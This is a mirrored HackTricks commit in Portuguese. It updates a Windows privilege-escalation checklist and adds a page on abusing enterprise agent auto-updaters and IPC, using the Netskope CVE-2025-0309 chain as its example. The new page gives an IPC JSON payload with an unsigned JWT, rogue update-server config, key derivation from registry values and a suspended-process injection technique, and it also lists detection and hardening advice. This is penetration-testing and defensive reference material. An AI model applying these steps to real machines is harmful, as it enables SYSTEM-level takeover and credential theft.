mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/checklist-windows-privilege-escalatio
This commit is contained in:
parent
38ae27a75c
commit
fa5bc876c5
@ -236,6 +236,7 @@
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
|
@ -1,114 +1,115 @@
|
||||
# Checklist - Escalação de Privilégios Local no Windows
|
||||
# Checklist - Local Windows Privilege Escalation
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### **Melhor ferramenta para procurar vetores de escalonamento de privilégios locais no Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
### **Melhor ferramenta para procurar vetores de elevação de privilégio locais no Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [Informações do Sistema](windows-local-privilege-escalation/index.html#system-info)
|
||||
### [System Info](windows-local-privilege-escalation/index.html#system-info)
|
||||
|
||||
- [ ] Obter [**Informações do sistema**](windows-local-privilege-escalation/index.html#system-info)
|
||||
- [ ] Procurar por **explorações de kernel** [**usando scripts**](windows-local-privilege-escalation/index.html#version-exploits)
|
||||
- [ ] Usar **Google para pesquisar** por **explorações de kernel**
|
||||
- [ ] Usar **searchsploit para pesquisar** por **explorações de kernel**
|
||||
- [ ] Informações interessantes em [**variáveis de ambiente**](windows-local-privilege-escalation/index.html#environment)?
|
||||
- [ ] Senhas no [**histórico do PowerShell**](windows-local-privilege-escalation/index.html#powershell-history)?
|
||||
- [ ] Informações interessantes em [**configurações da Internet**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||
- [ ] [**Unidades**](windows-local-privilege-escalation/index.html#drives)?
|
||||
- [ ] [**Exploração do WSUS**](windows-local-privilege-escalation/index.html#wsus)?
|
||||
- [ ] Obter [**System information**](windows-local-privilege-escalation/index.html#system-info)
|
||||
- [ ] Procurar por **kernel** [**exploits usando scripts**](windows-local-privilege-escalation/index.html#version-exploits)
|
||||
- [ ] Usar **Google** para procurar **exploits** do kernel
|
||||
- [ ] Usar **searchsploit** para procurar **exploits** do kernel
|
||||
- [ ] Informação interessante em [**env vars**](windows-local-privilege-escalation/index.html#environment)?
|
||||
- [ ] Senhas no [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)?
|
||||
- [ ] Informação interessante em [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
|
||||
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
|
||||
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
|
||||
|
||||
### [Enumeração de Logs/AV](windows-local-privilege-escalation/index.html#enumeration)
|
||||
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
|
||||
|
||||
- [ ] Verificar as configurações de [**Auditoria**](windows-local-privilege-escalation/index.html#audit-settings) e [**WEF**](windows-local-privilege-escalation/index.html#wef)
|
||||
- [ ] Verificar configurações de [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)e [**WEF** ](windows-local-privilege-escalation/index.html#wef)
|
||||
- [ ] Verificar [**LAPS**](windows-local-privilege-escalation/index.html#laps)
|
||||
- [ ] Verificar se [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) está ativo
|
||||
- [ ] [**Proteção LSA**](windows-local-privilege-escalation/index.html#lsa-protection)?
|
||||
- [ ] Verificar se [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)está ativo
|
||||
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
|
||||
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
|
||||
- [ ] [**Credenciais em Cache**](windows-local-privilege-escalation/index.html#cached-credentials)?
|
||||
- [ ] Verificar se há algum [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
||||
- [ ] [**Política do AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
|
||||
- [ ] Verificar se existe algum [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
||||
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
|
||||
- [ ] [**Privilégios do Usuário**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Verificar [**privilégios do usuário atual**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Você é [**membro de algum grupo privilegiado**](windows-local-privilege-escalation/index.html#privileged-groups)?
|
||||
- [ ] Verificar se você tem [algum desses tokens habilitados](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege**?
|
||||
- [ ] [**Sessões de Usuários**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
|
||||
- [ ] Verificar [**pastas pessoais dos usuários**](windows-local-privilege-escalation/index.html#home-folders) (acesso?)
|
||||
- [ ] Verificar [**Política de Senhas**](windows-local-privilege-escalation/index.html#password-policy)
|
||||
- [ ] O que está [**dentro da Área de Transferência**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
|
||||
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Verificar privilégios do usuário [**current**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Você é [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
|
||||
- [ ] Verificar se você tem [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
|
||||
- [ ] Verificar[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (acesso?)
|
||||
- [ ] Verificar [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
|
||||
- [ ] O que há [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
|
||||
|
||||
### [Rede](windows-local-privilege-escalation/index.html#network)
|
||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] Verificar **informações de rede** [**atuais**](windows-local-privilege-escalation/index.html#network)
|
||||
- [ ] Verificar **serviços locais ocultos** restritos ao exterior
|
||||
- [ ] Verificar [**current**](windows-local-privilege-escalation/index.html#network) **network information**
|
||||
- [ ] Verificar **hidden local services** restritos ao exterior
|
||||
|
||||
### [Processos em Execução](windows-local-privilege-escalation/index.html#running-processes)
|
||||
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
|
||||
|
||||
- [ ] Permissões de [**arquivos e pastas de binários de processos**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||
- [ ] [**Mineração de Senhas na Memória**](windows-local-privilege-escalation/index.html#memory-password-mining)
|
||||
- [ ] [**Aplicativos GUI Inseguros**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
|
||||
- [ ] Roubar credenciais com **processos interessantes** via `ProcDump.exe`? (firefox, chrome, etc ...)
|
||||
- [ ] Permissões de arquivos e pastas dos binários de processos [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
|
||||
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
|
||||
- [ ] Roubar credenciais de **interesting processes** com `ProcDump.exe` ? (firefox, chrome, etc ...)
|
||||
|
||||
### [Serviços](windows-local-privilege-escalation/index.html#services)
|
||||
### [Services](windows-local-privilege-escalation/index.html#services)
|
||||
|
||||
- [ ] [Você pode **modificar algum serviço**?](windows-local-privilege-escalation/index.html#permissions)
|
||||
- [ ] [Você pode **modificar** o **binário** que é **executado** por algum **serviço**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
|
||||
- [ ] [Você pode **modificar** o **registro** de algum **serviço**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
|
||||
- [ ] [Você pode tirar proveito de algum **caminho de binário de serviço não citado**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
|
||||
- [ ] [Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions)
|
||||
- [ ] [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
|
||||
- [ ] [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
|
||||
- [ ] [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
|
||||
|
||||
### [**Aplicações**](windows-local-privilege-escalation/index.html#applications)
|
||||
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
|
||||
|
||||
- [ ] **Permissões de escrita** [**em aplicações instaladas**](windows-local-privilege-escalation/index.html#write-permissions)
|
||||
- [ ] [**Aplicações de Inicialização**](windows-local-privilege-escalation/index.html#run-at-startup)
|
||||
- [ ] **Drivers Vulneráveis** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
|
||||
- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
|
||||
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
|
||||
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
|
||||
|
||||
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
|
||||
### [DLL Hijacking](windows-local-privilege-escalation/index.html#Path-dll-hijacking)
|
||||
|
||||
- [ ] Você pode **escrever em alguma pasta dentro do PATH**?
|
||||
- [ ] Existe algum binário de serviço conhecido que **tente carregar alguma DLL inexistente**?
|
||||
- [ ] Você pode **escrever** em alguma **pasta de binários**?
|
||||
- [ ] Você pode **write in any folder inside PATH**?
|
||||
- [ ] Existe algum binário de serviço conhecido que **tries to load any non-existant DLL**?
|
||||
- [ ] Você pode **write** em alguma **binaries folder**?
|
||||
|
||||
### [Rede](windows-local-privilege-escalation/index.html#network)
|
||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] Enumerar a rede (compartilhamentos, interfaces, rotas, vizinhos, ...)
|
||||
- [ ] Prestar atenção especial aos serviços de rede escutando em localhost (127.0.0.1)
|
||||
- [ ] Enumerar a rede (shares, interfaces, routes, neighbours, ...)
|
||||
- [ ] Prestar atenção especial a serviços de rede que escutam em localhost (127.0.0.1)
|
||||
|
||||
### [Credenciais do Windows](windows-local-privilege-escalation/index.html#windows-credentials)
|
||||
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
|
||||
|
||||
- [ ] Credenciais do [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials)
|
||||
- [ ] Credenciais do [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) que você poderia usar?
|
||||
- [ ] Informações interessantes sobre [**credenciais DPAPI**](windows-local-privilege-escalation/index.html#dpapi)?
|
||||
- [ ] Senhas de [**redes Wifi salvas**](windows-local-privilege-escalation/index.html#wifi)?
|
||||
- [ ] Informações interessantes em [**Conexões RDP salvas**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
|
||||
- [ ] Senhas em [**comandos executados recentemente**](windows-local-privilege-escalation/index.html#recently-run-commands)?
|
||||
- [ ] Senhas do [**Gerenciador de Credenciais do Desktop Remoto**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager)?
|
||||
- [ ] [**AppCmd.exe** existe](windows-local-privilege-escalation/index.html#appcmd-exe)? Credenciais?
|
||||
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? Carregamento lateral de DLL?
|
||||
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials
|
||||
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials que você poderia usar?
|
||||
- [ ] Informação interessante de [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
|
||||
- [ ] Senhas de [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)?
|
||||
- [ ] Informação interessante em [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
|
||||
- [ ] Senhas em [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)?
|
||||
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) passwords?
|
||||
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials?
|
||||
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
|
||||
|
||||
### [Arquivos e Registro (Credenciais)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
|
||||
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
|
||||
|
||||
- [ ] **Putty:** [**Credenciais**](windows-local-privilege-escalation/index.html#putty-creds) **e** [**chaves de host SSH**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
||||
- [ ] [**Chaves SSH no registro**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
|
||||
- [ ] Senhas em [**arquivos não supervisionados**](windows-local-privilege-escalation/index.html#unattended-files)?
|
||||
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
||||
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
|
||||
- [ ] Senhas em [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)?
|
||||
- [ ] Algum backup de [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)?
|
||||
- [ ] [**Credenciais em Nuvem**](windows-local-privilege-escalation/index.html#cloud-credentials)?
|
||||
- [ ] Arquivo [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml)?
|
||||
- [ ] [**Senha GPP em Cache**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
|
||||
- [ ] Senha no [**arquivo de configuração do IIS Web**](windows-local-privilege-escalation/index.html#iis-web-config)?
|
||||
- [ ] Informações interessantes em [**logs da web**](windows-local-privilege-escalation/index.html#logs)?
|
||||
- [ ] Você quer [**pedir credenciais**](windows-local-privilege-escalation/index.html#ask-for-credentials) ao usuário?
|
||||
- [ ] Informações interessantes em [**arquivos dentro da Lixeira**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
|
||||
- [ ] Outros [**registros contendo credenciais**](windows-local-privilege-escalation/index.html#inside-the-registry)?
|
||||
- [ ] Dentro dos [**dados do Navegador**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, histórico, favoritos, ...)?
|
||||
- [ ] [**Busca genérica de senhas**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) em arquivos e registro
|
||||
- [ ] [**Ferramentas**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) para buscar senhas automaticamente
|
||||
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
|
||||
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) file?
|
||||
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
|
||||
- [ ] Senha em [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
|
||||
- [ ] Informação interessante em [**web** **logs**](windows-local-privilege-escalation/index.html#logs)?
|
||||
- [ ] Quer [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) ao usuário?
|
||||
- [ ] Arquivos interessantes dentro da [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
|
||||
- [ ] Outros [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)?
|
||||
- [ ] Dentro de [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)?
|
||||
- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) em arquivos e registro
|
||||
- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) para procurar automaticamente por senhas
|
||||
|
||||
### [Manipuladores Vazados](windows-local-privilege-escalation/index.html#leaked-handlers)
|
||||
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
|
||||
|
||||
- [ ] Você tem acesso a algum manipulador de um processo executado por administrador?
|
||||
- [ ] Você tem acesso a algum handler de um processo executado pelo administrador?
|
||||
|
||||
### [Impersonação de Cliente de Pipe](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
|
||||
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
|
||||
|
||||
- [ ] Verifique se você pode abusar disso
|
||||
- [ ] Verificar se você pode abusar disso
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,123 @@
|
||||
# Abusando de Auto-Updaters Empresariais e IPC Privilegiado (e.g., Netskope stAgentSvc)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Esta página generaliza uma classe de Windows local privilege escalation chains encontradas em agentes de endpoint empresariais e updaters que expõem uma superfície de IPC de baixa fricção e um fluxo de atualização privilegiado. Um exemplo representativo é o Netskope Client for Windows < R129 (CVE-2025-0309), onde um usuário com poucos privilégios pode forçar o enrollment em um servidor controlado pelo atacante e então entregar um MSI malicioso que o serviço SYSTEM instala.
|
||||
|
||||
Ideias-chave reutilizáveis contra produtos similares:
|
||||
- Abusar do localhost IPC de um serviço privilegiado para forçar re‑enrollment ou reconfiguração para um servidor do atacante.
|
||||
- Implementar os endpoints de update do vendor, entregar um rogue Trusted Root CA, e apontar o updater para um pacote malicioso “assinado”.
|
||||
- Evadir verificações de signer fracas (CN allow‑lists), flags de digest opcionais, e propriedades relaxadas de MSI.
|
||||
- Se o IPC for “encrypted”, derivar a key/IV a partir de identificadores da máquina legíveis globalmente armazenados no registry.
|
||||
- Se o serviço restringe callers por image path/process name, injetar em um processo allow‑listed ou spawnar um suspenso e bootstrapar sua DLL via um patch mínimo de thread‑context.
|
||||
|
||||
---
|
||||
## 1) Forçando o enrollment para um servidor do atacante via localhost IPC
|
||||
|
||||
Muitos agentes incluem um processo UI em user‑mode que conversa com um serviço SYSTEM via localhost TCP usando JSON.
|
||||
|
||||
Observado no Netskope:
|
||||
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
|
||||
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
|
||||
|
||||
Exploit flow:
|
||||
1) Craft um JWT enrollment token cujas claims controlam o backend host (e.g., AddonUrl). Use alg=None para que nenhuma assinatura seja requerida.
|
||||
2) Send the IPC message invoking the provisioning command with your JWT and tenant name:
|
||||
```json
|
||||
{
|
||||
"148": {
|
||||
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
|
||||
"tenantName": "TestOrg"
|
||||
}
|
||||
}
|
||||
```
|
||||
3) O serviço começa a acessar seu servidor rogue para enrollment/config, por exemplo:
|
||||
- /v1/externalhost?service=enrollment
|
||||
- /config/user/getbrandingbyemail
|
||||
|
||||
Notas:
|
||||
- Se a verificação do chamador for baseada em caminho/nome, origine a requisição a partir de um allow‑listed vendor binary (veja §4).
|
||||
|
||||
---
|
||||
## 2) Hijacking the update channel to run code as SYSTEM
|
||||
|
||||
Uma vez que o cliente se comunique com seu servidor, implemente os endpoints esperados e direcione-o para um MSI malicioso. Sequência típica:
|
||||
|
||||
1) /v2/config/org/clientconfig → Retornar configuração JSON com um intervalo do updater muito curto, por exemplo:
|
||||
```json
|
||||
{
|
||||
"clientUpdate": { "updateIntervalInMin": 1 },
|
||||
"check_msi_digest": false
|
||||
}
|
||||
```
|
||||
2) /config/ca/cert → Retorna um certificado CA em PEM. O serviço o instala no Local Machine Trusted Root store.
|
||||
3) /v2/checkupdate → Fornece metadata apontando para um MSI malicioso e uma versão falsa.
|
||||
|
||||
Bypassando verificações comuns observadas na prática:
|
||||
- Signer CN allow‑list: o serviço pode checar apenas se o Subject CN é “netSkope Inc” ou “Netskope, Inc.”. Sua CA maliciosa pode emitir um leaf com esse CN e assinar o MSI.
|
||||
- CERT_DIGEST property: inclua uma propriedade MSI benigno chamada CERT_DIGEST. Não há enforcement na instalação.
|
||||
- Optional digest enforcement: flag de config (por exemplo, check_msi_digest=false) desativa validação criptográfica adicional.
|
||||
|
||||
Resultado: o serviço SYSTEM instala seu MSI de
|
||||
C:\ProgramData\Netskope\stAgent\data\*.msi
|
||||
executando código arbitrário como NT AUTHORITY\SYSTEM.
|
||||
|
||||
---
|
||||
## 3) Forging encrypted IPC requests (when present)
|
||||
|
||||
A partir do R127, Netskope envolveu o JSON de IPC em um campo encryptData que parece Base64. Reversing mostrou AES com key/IV derivado de valores do registry legíveis por qualquer usuário:
|
||||
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
|
||||
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
|
||||
|
||||
Atacantes podem reproduzir a encriptação e enviar comandos encriptados válidos a partir de um usuário padrão. Dica geral: se um agente subitamente “encriptar” seu IPC, procure device IDs, product GUIDs, install IDs em HKLM como material.
|
||||
|
||||
---
|
||||
## 4) Bypassing IPC caller allow‑lists (path/name checks)
|
||||
|
||||
Alguns serviços tentam autenticar o peer resolvendo o PID da conexão TCP e comparando o image path/name contra binários allow‑listados do vendor localizados em Program Files (por exemplo, stagentui.exe, bwansvc.exe, epdlp.exe).
|
||||
|
||||
Dois bypasses práticos:
|
||||
- DLL injection em um processo allow‑listado (ex.: nsdiag.exe) e proxy do IPC internamente.
|
||||
- Spawn de um binário allow‑listado em suspended e bootstrap da sua proxy DLL sem CreateRemoteThread (see §5) para satisfazer regras de tamper impostas pelo driver.
|
||||
|
||||
---
|
||||
## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
|
||||
|
||||
Produtos frequentemente incluem um minifilter/OB callbacks driver (ex.: Stadrv) para remover direitos perigosos de handles para processos protegidos:
|
||||
- Process: remove PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
|
||||
- Thread: restringe para THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
|
||||
|
||||
Um loader user‑mode confiável que respeita essas restrições:
|
||||
1) CreateProcess de um binário do vendor com CREATE_SUSPENDED.
|
||||
2) Obtenha handles que ainda são permitidos: PROCESS_VM_WRITE | PROCESS_VM_OPERATION no processo, e um handle de thread com THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ou apenas THREAD_RESUME se você patchar código em um RIP conhecido).
|
||||
3) Sobrescreva ntdll!NtContinue (ou outro thunk inicial garantido mapeado) com um pequeno stub que chama LoadLibraryW no caminho da sua DLL, depois retorna.
|
||||
4) ResumeThread para acionar seu stub in‑process, carregando sua DLL.
|
||||
|
||||
Porque você nunca usou PROCESS_CREATE_THREAD ou PROCESS_SUSPEND_RESUME em um processo já protegido (você o criou), a política do driver é satisfeita.
|
||||
|
||||
---
|
||||
## 6) Practical tooling
|
||||
- NachoVPN (Netskope plugin) automatiza uma rogue CA, assinatura de MSI malicioso, e serve os endpoints necessários: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
|
||||
- UpSkope é um IPC client custom que cria mensagens IPC arbitrárias (opcionalmente AES‑encriptadas) e inclui a injeção por processo suspenso para originar de um binário allow‑listado.
|
||||
|
||||
---
|
||||
## 7) Detection opportunities (blue team)
|
||||
- Monitorar adições ao Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) funciona bem.
|
||||
- Sinalizar execuções de MSI iniciadas pelo serviço do agente a partir de paths como C:\ProgramData\<vendor>\<agent>\data\*.msi.
|
||||
- Revisar logs do agente por hosts/tenants de enrollment inesperados, ex.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – procure por addonUrl / tenant anomalies e provisioning msg 148.
|
||||
- Alertar sobre clientes IPC localhost que não sejam os binários assinados esperados, ou que se originem de árvores de processos filhas incomuns.
|
||||
|
||||
---
|
||||
## Hardening tips for vendors
|
||||
- Vincular hosts de enrollment/update a uma allow‑list estrita; rejeitar domínios não confiáveis no clientcode.
|
||||
- Autenticar peers de IPC com primitives do OS (ALPC security, named‑pipe SIDs) em vez de checks por image path/name.
|
||||
- Manter material secreto fora de HKLM legível por todos; se o IPC precisar ser encriptado, derivar chaves de segredos protegidos ou negociar em canais autenticados.
|
||||
- Tratar o updater como superfície da supply‑chain: exigir uma cadeia completa até uma CA confiável que você controla, verificar assinaturas de pacotes contra chaves pinned, e fail closed se a validação estiver desabilitada na config.
|
||||
|
||||
## References
|
||||
- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
|
||||
- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
|
||||
- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
|
||||
- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user